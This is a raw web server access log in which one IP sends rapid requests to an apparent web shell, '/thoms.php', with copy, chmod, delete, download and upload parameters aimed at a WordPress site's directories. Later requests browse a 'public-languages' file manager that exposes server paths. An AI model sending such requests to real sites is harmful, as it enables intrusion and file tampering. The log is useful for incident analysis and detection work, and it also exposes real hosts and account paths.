45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?chmod=languages&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=languages&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?chmod=mu-plugins&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /biotaiwan.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?del=languages&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=languages&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?chmod=upgrade&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /biotaiwan.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/biotaiwan.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:38 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /biotaiwan.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?chmod=plugins&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?del=upgrade&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Findex.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Findex.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?del=mu-plugins&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /biotaiwan.com.tw/wp-content/upgrade/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?del=plugins&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /biotaiwan.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /biotaiwan.com.tw/wp-content/languages/ HTTP/1.1" 200 4145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /thoms.php?del=themes&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:39 -0400] "GET /biotaiwan.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?chmod=uploads&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /biotaiwan.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /biotaiwan.com.tw/wp-content/uploads/ HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?del=uploads&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=uploads&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?chmod=themes&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=themes&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6495 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /biotaiwan.com.tw/public-languages/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /biotaiwan.com.tw/public-languages/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:41 -0400] "GET /biotaiwan.com.tw/public-languages/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7984 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:42 -0400] "GET /biotaiwan.com.tw/public-languages/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages%2F HTTP/1.1" 200 6568 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
